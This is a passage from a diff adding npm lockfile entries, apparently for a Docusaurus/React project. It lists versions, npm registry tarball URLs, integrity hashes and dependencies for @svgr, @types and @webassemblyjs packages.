"sha512-9PYGcXrAxitycIjRmZB+Q0JaN07GZIWaTBIGQzfaZv+qr1n8X1XUEJ5rZ/vx6OVD9RRYlrNnXWExQXcmZeD/BQ==", + "requires": {} + }, + "@svgr/babel-plugin-remove-jsx-attribute": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-8.0.0.tgz", + "integrity": "sha512-BcCkm/STipKvbCl6b7QFrMh/vx00vIP63k2eM66MfHJzPr6O2U0jYEViXkHJWqXqQYjdeA9cuCl5KWmlwjDvbA==", + "requires": {} + }, + "@svgr/babel-plugin-remove-jsx-empty-expression": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-8.0.0.tgz", + "integrity": "sha512-5BcGCBfBxB5+XSDSWnhTThfI9jcO5f0Ai2V24gZpG+wXF14BzwxxdDb4g6trdOux0rhibGs385BeFMSmxtS3uA==", + "requires": {} + }, + "@svgr/babel-plugin-replace-jsx-attribute-value": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-6.5.1.tgz", + "integrity": "sha512-8DPaVVE3fd5JKuIC29dqyMB54sA6mfgki2H2+swh+zNJoynC8pMPzOkidqHOSc6Wj032fhl8Z0TVn1GiPpAiJg==", + "requires": {} + }, + "@svgr/babel-plugin-svg-dynamic-title": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-6.5.1.tgz", + "integrity": "sha512-FwOEi0Il72iAzlkaHrlemVurgSQRDFbk0OC8dSvD5fSBPHltNh7JtLsxmZUhjYBZo2PpcU/RJvvi6Q0l7O7ogw==", + "requires": {} + }, + "@svgr/babel-plugin-svg-em-dimensions": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-6.5.1.tgz", + "integrity": "sha512-gWGsiwjb4tw+ITOJ86ndY/DZZ6cuXMNE/SjcDRg+HLuCmwpcjOktwRF9WgAiycTqJD/QXqL2f8IzE2Rzh7aVXA==", + "requires": {} + }, + "@svgr/babel-plugin-transform-react-native-svg": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-6.5.1.tgz", + "integrity": "sha512-2jT3nTayyYP7kI6aGutkyfJ7UMGtuguD72OjeGLwVNyfPRBD8zQthlvL+fAbAKk5n9ZNcvFkp/b1lZ7VsYqVJg==", + "requires": {} + }, + "@svgr/babel-plugin-transform-svg-component": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-6.5.1.tgz", + "integrity": "sha512-a1p6LF5Jt33O3rZoVRBqdxL350oge54iZWHNI6LJB5tQ7EelvD/Mb1mfBiZNAan0dt4i3VArkFRjA4iObuNykQ==", + "requires": {} + }, + "@svgr/babel-preset": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-6.5.1.tgz", + "integrity": "sha512-6127fvO/FF2oi5EzSQOAjo1LE3OtNVh11R+/8FXa+mHx1ptAaS4cknIjnUA7e6j6fwGGJ17NzaTJFUwOV2zwCw==", + "requires": { + "@svgr/babel-plugin-add-jsx-attribute": "^6.5.1", + "@svgr/babel-plugin-remove-jsx-attribute": "*", + "@svgr/babel-plugin-remove-jsx-empty-expression": "*", + "@svgr/babel-plugin-replace-jsx-attribute-value": "^6.5.1", + "@svgr/babel-plugin-svg-dynamic-title": "^6.5.1", + "@svgr/babel-plugin-svg-em-dimensions": "^6.5.1", + "@svgr/babel-plugin-transform-react-native-svg": "^6.5.1", + "@svgr/babel-plugin-transform-svg-component": "^6.5.1" + } + }, + "@svgr/core": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/core/-/core-6.5.1.tgz", + "integrity": "sha512-/xdLSWxK5QkqG524ONSjvg3V/FkNyCv538OIBdQqPNaAta3AsXj/Bd2FbvR87yMbXO2hFSWiAe/Q6IkVPDw+mw==", + "requires": { + "@babel/core": "^7.19.6", + "@svgr/babel-preset": "^6.5.1", + "@svgr/plugin-jsx": "^6.5.1", + "camelcase": "^6.2.0", + "cosmiconfig": "^7.0.1" + } + }, + "@svgr/hast-util-to-babel-ast": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-6.5.1.tgz", + "integrity": "sha512-1hnUxxjd83EAxbL4a0JDJoD3Dao3hmjvyvyEV8PzWmLK3B9m9NPlW7GKjFyoWE8nM7HnXzPcmmSyOW8yOddSXw==", + "requires": { + "@babel/types": "^7.20.0", + "entities": "^4.4.0" + } + }, + "@svgr/plugin-jsx": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-6.5.1.tgz", + "integrity": "sha512-+UdQxI3jgtSjCykNSlEMuy1jSRQlGC7pqBCPvkG/2dATdWo082zHTTK3uhnAju2/6XpE6B5mZ3z4Z8Ns01S8Gw==", + "requires": { + "@babel/core": "^7.19.6", + "@svgr/babel-preset": "^6.5.1", + "@svgr/hast-util-to-babel-ast": "^6.5.1", + "svg-parser": "^2.0.4" + } + }, + "@svgr/plugin-svgo": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/plugin-svgo/-/plugin-svgo-6.5.1.tgz", + "integrity": "sha512-omvZKf8ixP9z6GWgwbtmP9qQMPX4ODXi+wzbVZgomNFsUIlHA1sf4fThdwTWSsZGgvGAG6yE+b/F5gWUkcZ/iQ==", + "requires": { + "cosmiconfig": "^7.0.1", + "deepmerge": "^4.2.2", + "svgo": "^2.8.0" + } + }, + "@svgr/webpack": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/webpack/-/webpack-6.5.1.tgz", + "integrity": "sha512-cQ/AsnBkXPkEK8cLbv4Dm7JGXq2XrumKnL1dRpJD9rIO2fTIlJI9a1uCciYG1F2aUsox/hJQyNGbt3soDxSRkA==", + "requires": { + "@babel/core": "^7.19.6", + "@babel/plugin-transform-react-constant-elements": "^7.18.12", + "@babel/preset-env": "^7.19.4", + "@babel/preset-react": "^7.18.6", + "@babel/preset-typescript": "^7.18.6", + "@svgr/core": "^6.5.1", + "@svgr/plugin-jsx": "^6.5.1", + "@svgr/plugin-svgo": "^6.5.1" + } + }, + "@szmarczak/http-timer": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz", + "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==", + "requires": { + "defer-to-connect": "^1.0.1" + } + }, + "@trysound/sax": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz", + "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==" + }, + "@tsconfig/docusaurus": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@tsconfig/docusaurus/-/docusaurus-2.0.0.tgz", + "integrity": "sha512-X5wptT7pXA/46/IRFTW76oR5GNjoy9qjNM/1JGhFV4QAsmLh3YUpJJA+Vpx7Ds6eEBxSxz1QrgoNEBy6rLVs8w==", + "dev": true + }, + "@types/body-parser": { + "version": "1.19.2", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.2.tgz", + "integrity": "sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g==", + "requires": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "@types/bonjour": { + "version": "3.5.10", + "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.10.tgz", + "integrity": "sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw==", + "requires": { + "@types/node": "*" + } + }, + "@types/connect": { + "version": "3.4.35", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz", + "integrity": "sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==", + "requires": { + "@types/node": "*" + } + }, + "@types/connect-history-api-fallback": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.0.tgz", + "integrity": "sha512-4x5FkPpLipqwthjPsF7ZRbOv3uoLUFkTA9G9v583qi4pACvq0uTELrB8OLUzPWUI4IJIyvM85vzkV1nyiI2Lig==", + "requires": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } + }, + "@types/eslint": { + "version": "8.44.2", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.44.2.tgz", + "integrity": "sha512-sdPRb9K6iL5XZOmBubg8yiFp5yS/JdUDQsq5e6h95km91MCYMuvp7mh1fjPEYUhvHepKpZOjnEaMBR4PxjWDzg==", + "requires": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "@types/eslint-scope": { + "version": "3.7.4", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.4.tgz", + "integrity": "sha512-9K4zoImiZc3HlIp6AVUDE4CWYx22a+lhSZMYNpbjW04+YF0KWj4pJXnEMjdnFTiQibFFmElcsasJXDbdI/EPhA==", + "requires": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "@types/estree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.1.tgz", + "integrity": "sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==" + }, + "@types/express": { + "version": "4.17.17", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.17.tgz", + "integrity": "sha512-Q4FmmuLGBG58btUnfS1c1r/NQdlp3DMfGDGig8WhfpA2YRUtEkxAjkZb0yvplJGYdF1fsQ81iMDcH24sSCNC/Q==", + "requires": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.33", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "@types/express-serve-static-core": { + "version": "4.17.35", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.35.tgz", + "integrity": "sha512-wALWQwrgiB2AWTT91CB62b6Yt0sNHpznUXeZEcnPU3DRdlDIz74x8Qg1UUYKSVFi+va5vKOLYRBI1bRKiLLKIg==", + "requires": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "@types/hast": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-2.3.5.tgz", + "integrity": "sha512-SvQi0L/lNpThgPoleH53cdjB3y9zpLlVjRbqB3rH8hx1jiRSBGAhyjV3H+URFjNVRqt2EdYNrbZE5IsGlNfpRg==", + "requires": { + "@types/unist": "^2" + } + }, + "@types/history": { + "version": "4.7.11", + "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.11.tgz", + "integrity": "sha512-qjDJRrmvBMiTx+jyLxvLfJU7UznFuokDv4f3WRuriHKERccVpFU+8XMQUAbDzoiJCsmexxRExQeMwwCdamSKDA==" + }, + "@types/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==" + }, + "@types/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-/K3ds8TRAfBvi5vfjuz8y6+GiAYBZ0x4tXv1Av6CWBWn0IlADc+ZX9pMq7oU0fNQPnBwIZl3rmeLp6SBApbxSQ==" + }, + "@types/http-proxy": { + "version": "1.17.11", + "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.11.tgz", + "integrity": "sha512-HC8G7c1WmaF2ekqpnFq626xd3Zz0uvaqFmBJNRZCGEZCXkvSdJoNFn/8Ygbd9fKNQj8UzLdCETaI0UWPAjK7IA==", + "requires": { + "@types/node": "*" + } + }, + "@types/istanbul-lib-coverage": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==" + }, + "@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "requires": { + "@types/istanbul-lib-coverage": "*" + } + }, + "@types/istanbul-reports": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", + "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "requires": { + "@types/istanbul-lib-report": "*" + } + }, + "@types/json-schema": { + "version": "7.0.12", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.12.tgz", + "integrity": "sha512-Hr5Jfhc9eYOQNPYO5WLDq/n4jqijdHNlDXjuAQkkt+mWdQR+XJToOHrsD4cPaMXpn6KO7y2+wM8AZEs8VpBLVA==" + }, + "@types/mdast": { + "version": "3.0.12", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.12.tgz", + "integrity": "sha512-DT+iNIRNX884cx0/Q1ja7NyUPpZuv0KPyL5rGNxm1WC1OtHstl7n4Jb7nk+xacNShQMbczJjt8uFzznpp6kYBg==", + "requires": { + "@types/unist": "^2" + } + }, + "@types/mime": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.2.tgz", + "integrity": "sha512-YATxVxgRqNH6nHEIsvg6k2Boc1JHI9ZbH5iWFFv/MTkchz3b1ieGDa5T0a9RznNdI0KhVbdbWSN+KWWrQZRxTw==" + }, + "@types/node": { + "version": "20.5.1", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.5.1.tgz", + "integrity": "sha512-4tT2UrL5LBqDwoed9wZ6N3umC4Yhz3W3FloMmiiG4JwmUJWpie0c7lcnUNd4gtMKuDEO4wRVS8B6Xa0uMRsMKg==" + }, + "@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" + }, + "@types/parse5": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/@types/parse5/-/parse5-5.0.3.tgz", + "integrity": "sha512-kUNnecmtkunAoQ3CnjmMkzNU/gtxG8guhi+Fk2U/kOpIKjIMKnXGp4IJCgQJrXSgMsWYimYG4TGjz/UzbGEBTw==" + }, + "@types/prop-types": { + "version": "15.7.5", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.5.tgz", + "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==" + }, + "@types/qs": { + "version": "6.9.7", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw==" + }, + "@types/range-parser": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.4.tgz", + "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw==" + }, + "@types/react": { + "version": "17.0.64", + "resolved": "https://registry.npmjs.org/@types/react/-/react-17.0.64.tgz", + "integrity": "sha512-IlgbX/vglDTwrCRgad6fTCzOT+D/5C0xwuvrzfuqfhg9gJrkFqAGADpUFlEtqbrP1IEo9QLSbo41MaFfoIu9Aw==", + "requires": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "@types/react-helmet": { + "version": "6.1.6", + "resolved": "https://registry.npmjs.org/@types/react-helmet/-/react-helmet-6.1.6.tgz", + "integrity": "sha512-ZKcoOdW/Tg+kiUbkFCBtvDw0k3nD4HJ/h/B9yWxN4uDO8OkRksWTO+EL+z/Qu3aHTeTll3Ro0Cc/8UhwBCMG5A==", + "dev": true, + "requires": { + "@types/react": "*" + } + }, + "@types/react-router": { + "version": "5.1.20", + "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.20.tgz", + "integrity": "sha512-jGjmu/ZqS7FjSH6owMcD5qpq19+1RS9DeVRqfl1FeBMxTDQAGwlMWOcs52NDoXaNKyG3d1cYQFMs9rCrb88o9Q==", + "requires": { + "@types/history": "^4.7.11", + "@types/react": "*" + } + }, + "@types/react-router-config": { + "version": "5.0.7", + "resolved": "https://registry.npmjs.org/@types/react-router-config/-/react-router-config-5.0.7.tgz", + "integrity": "sha512-pFFVXUIydHlcJP6wJm7sDii5mD/bCmmAY0wQzq+M+uX7bqS95AQqHZWP1iNMKrWVQSuHIzj5qi9BvrtLX2/T4w==", + "requires": { + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router": "^5.1.0" + } + }, + "@types/react-router-dom": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.3.3.tgz", + "integrity": "sha512-kpqnYK4wcdm5UaWI3fLcELopqLrHgLqNsdpHauzlQktfkHL3npOSwtj1Uz9oKBAzs7lFtVkV8j83voAz2D8fhw==", + "requires": { + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router": "*" + } + }, + "@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==" + }, + "@types/sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@types/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-pSAff4IAxJjfAXUG6tFkO7dsSbTmf8CtUpfhhZ5VhkRpC4628tJhh3+V6H1E+/Gs9piSzYKT5yzHO5M4GG9jkw==", + "requires": { + "@types/node": "*" + } + }, + "@types/scheduler": { + "version": "0.16.3", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.3.tgz", + "integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==" + }, + "@types/send": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.1.tgz", + "integrity": "sha512-Cwo8LE/0rnvX7kIIa3QHCkcuF21c05Ayb0ZfxPiv0W8VRiZiNW/WuRupHKpqqGVGf7SUA44QSOUKaEd9lIrd/Q==", + "requires": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "@types/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-d/Hs3nWDxNL2xAczmOVZNj92YZCS6RGxfBPjKzuu/XirCgXdpKEb88dYNbrYGint6IVWLNP+yonwVAuRC0T2Dg==", + "requires": { + "@types/express": "*" + } + }, + "@types/serve-static": { + "version": "1.15.2", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.2.tgz", + "integrity": "sha512-J2LqtvFYCzaj8pVYKw8klQXrLLk7TBZmQ4ShlcdkELFKGwGMfevMLneMMRkMgZxotOD9wg497LpC7O8PcvAmfw==", + "requires": { + "@types/http-errors": "*", + "@types/mime": "*", + "@types/node": "*" + } + }, + "@types/sockjs": { + "version": "0.3.33", + "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.33.tgz", + "integrity": "sha512-f0KEEe05NvUnat+boPTZ0dgaLZ4SfSouXUgv5noUiefG2ajgKjmETo9ZJyuqsl7dfl2aHlLJUiki6B4ZYldiiw==", + "requires": { + "@types/node": "*" + } + }, + "@types/unist": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.7.tgz", + "integrity": "sha512-cputDpIbFgLUaGQn6Vqg3/YsJwxUwHLO13v3i5ouxT4lat0khip9AEWxtERujXV9wxIB1EyF97BSJFt6vpdI8g==" + }, + "@types/ws": { + "version": "8.5.5", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.5.tgz", + "integrity": "sha512-lwhs8hktwxSjf9UaZ9tG5M03PGogvFaH8gUgLNbN9HKIg0dvv6q+gkSuJ8HN4/VbyxkuLzCjlN7GquQ0gUJfIg==", + "requires": { + "@types/node": "*" + } + }, + "@types/yargs": { + "version": "17.0.24", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.24.tgz", + "integrity": "sha512-6i0aC7jV6QzQB8ne1joVZ0eSFIstHsCrobmOtghM11yGlH0j43FKL2UhWdELkyps0zuf7qVTUVCCR+tgSlyLLw==", + "requires": { + "@types/yargs-parser": "*" + } + }, + "@types/yargs-parser": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==" + }, + "@webassemblyjs/ast": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.6.tgz", + "integrity": "sha512-IN1xI7PwOvLPgjcf180gC1bqn3q/QaOCwYUahIOhbYUu8KA/3tw2RT/T0Gidi1l7Hhj5D/INhJxiICObqpMu4Q==", + "requires": { + "@webassemblyjs/helper-numbers": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6" + } + }, + "@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz", + "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==" + }, + "@webassemblyjs/helper-api-error": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz", + "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==" + }, + "@webassemblyjs/helper-buffer": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.6.tgz", + "integrity": "sha512-z3nFzdcp1mb8nEOFFk8DrYLpHvhKC3grJD2ardfKOzmbmJvEf/tPIqCY+sNcwZIY8ZD7IkB2l7/pqhUhqm7hLA==" + }, + "@webassemblyjs/helper-numbers": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz", + "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==", + "requires": { + "@webassemblyjs/floating-point-hex-parser": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz", + "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==" + }, + "@webassemblyjs/helper-wasm-section": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.6.tgz", + "integrity": "sha512-LPpZbSOwTpEC2cgn4hTydySy1Ke+XEu+ETXuoyvuyezHO3Kjdu90KK95Sh9xTbmjrCsUwvWwCOQQNta37VrS9g==", + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6" + } + }, + "@webassemblyjs/ieee754": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz", + "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==", + "requires": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "@webassemblyjs/leb128": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz", + "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==", + "requires": { + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/utf8": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz", + "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==" + }, + "@webassemblyjs/wasm-edit": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.6.tgz", + "integrity": "sha512-Ybn2I6fnfIGuCR+Faaz7YcvtBKxvoLV3Lebn1tM4o/IAJzmi9AWYIPWpyBfU8cC+JxAO57bk4+zdsTjJR+VTOw==", + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/helper-wasm-section": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-opt": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6", + "@webassemblyjs/wast-printer": "1.11.6" + } + }, + "@webassemblyjs/wasm-gen": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.6.tgz", + "integrity": "sha512-3XOqkZP/y6B4F0PBAXvI1/bky7GryoogUtfwExeP/v7Nzwo1QLcq5oQmpKlftZLbT+ERUOAZVQjuNVak6UXjPA==", + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "@webassemblyjs/wasm-opt": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.6.tgz", + "integrity": "sha512-cOrKuLRE7PCe6AsOVl7WasYf3wbSo4CeOk6PkrjS7g57MFfVUF9u6ysQBBODX0LdgSvQqRiGz3CXvIDKcPNy4g==", + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6" + } + }, + "@webassemblyjs/wasm-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.6.tgz", + "integrity": "sha512-6ZwPeGzMJM3Dqp3hCsLgESxBGtT/OeCvCZ4TA1JUPYgmhAx38tTPR9JaKy0S5H3evQpO/h2uWs2j6Yc/fjkpTQ==", + "requires": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + 